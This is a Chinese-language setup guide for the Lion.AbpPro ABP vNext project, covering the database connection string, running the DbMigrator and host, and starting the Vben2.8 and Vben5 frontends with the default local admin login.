  • 修改 DbMigrator-> appsettings.Development.json 数据库连接字符串
  "ConnectionStrings": {
    "Default": "Data Source=localhost;Port=3306;Database=LionAbpProDB;uid=root;pwd=1q2w3E*;charset=utf8mb4;Allow User Variables=true;AllowLoadLocalInfile=true"
  } 
  • 右键单击.DbMigrator 项目,设置为启动项目运行,按 F5(或 Ctrl + F5) 运行应用程序
  • 启动后端service下的host项目,访问后台
    http://localhost:44315/login
  • 登录账号密码
    admin/1q2w3E*

::: danger 注意

  • 初始的种子数据在数据库中创建了 admin 用户(密码为1q2w3E*) 用于登录应用程序. 所以, 对于新数据库至少使用 .DbMigrator 一次.
  • 如果是通过lion.abp new -t pro.all创建的项目,请在Lion.AbpPro.EntityFrameworkCore目录下执行dotnet ef migrations add init 生成迁移文件
    :::

前端Vben2.8

在你的代码目录内打开终端,并执行以下命令:

::: danger 注意

注意存放代码的目录及所有父级目录不能存在中文、韩文、日文以及空格,否则安装依赖后启动会出错。

:::

获取源码项目

  • 代码生成的文件夹下Vben28
# 进入项目目录
cd vben28

# 安装依赖
pnpm install

# 启动项目
pnpm run dev

访问

::: tip 注意

  • 访问
    http://localhost:4200
  • Vben2.8版本本地调试首次访问会比较慢,长达几分钟,请耐心等待(Vben5已解决)。
  • 登录账号密码 admin/1q2w3E*
    :::

前端Vben5

  • 安装
    pnpm
    在你的代码目录内打开终端,并执行以下命令:

::: danger 注意

注意存放代码的目录及所有父级目录不能存在中文、韩文、日文以及空格,否则安装依赖后启动会出错。

:::

::: tip 注意

  • Vben5 版本的前端项目,需要找作者购买源码
  • 联系方式: 510423039@qq.com
  • 微信号:WJLXRzzZ
    :::

获取源码项目

# 此地址需要找作者购买源码
git clone https://github.com/abp-vnext-pro/abp-vnext-pro-vben5.git

执行以下命令运行项目:

# 在项目根目录下执行
pnpm i

# 运行指定项目 and版本(apps/web-antd)
pnpm run dev:antd

访问

::: tip 注意

  • 访问
    http://localhost:4200
  • 登录账号密码 admin/1q2w3E*
    :::